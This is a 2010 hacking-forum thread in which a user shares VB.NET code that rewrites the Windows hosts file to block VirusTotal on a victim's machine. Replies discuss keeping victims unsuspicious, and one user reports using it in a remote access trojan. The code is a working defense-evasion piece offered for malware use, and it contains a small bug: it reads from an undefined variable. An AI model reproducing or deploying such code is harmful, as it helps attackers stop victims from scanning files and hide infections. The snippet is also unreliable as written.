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Samuell - March 27, 2010, 10:43 pm

Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).

Source Code:

```
Code Sub WebsiteBlocker()  
    Dim hostrape As String  
    Dim TheThingThatReadsShit As New  
StreamReader("C:/windows/system32/drivers/etc/hosts")  
    hostrape = fs.ReadToEnd()  
    TheThingThatReadsShit.Dispose()  
    TheThingThatReadsShit.Close()  
  
    Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")  
    Meltwriter.WriteLine(hostrape)  
    Meltwriter.WriteLine("127.0.0.1          www.virustotal.com")  
    Meltwriter.WriteLine("127.0.0.1          virustotal.com")  
    Meltwriter.Flush()  
    Meltwriter.Close()  
    Exit Sub  
End Sub
```

Usage:

Code Call WebsiteBlocker()

Sikandar - March 27, 2010, 10:44 pm

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Samuell - March 27, 2010, 10:45 pm

(Mar 27, 2010 10:44 PM)sikandarnandwani Wrote: [\[CITE\]](#) posted many time already
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I know, it's nothing special, my friend just wanted me to repost it lol.

JIMP - March 27, 2010, 10:47 pm

Very nice post.Thanks for sharing.

Bitwin - March 28, 2010, 8:16 am

Isn't the host file instant ?

Joler1302 - March 28, 2010, 8:21 am

Why dont you code so it doesnt delete the stuff wich in already in the hosts file? Like mine does :D
That would be alot better, as the other could make user suspicious.

newbie223 - March 28, 2010, 8:25 am

been there done that :)

Xdem0 - *March 28, 2010, 11:28 pm*

Its effect is instant, in internet explorer at least.... as long as all history/dns cache is flushed, it will take effect instantly.

Pijm0 - *August 16, 2010, 9:48 am*

Thanks dude worked perfectly for my rat :D

Samuell - *August 16, 2010, 11:02 am*

Old Post is old, but you're welcome lol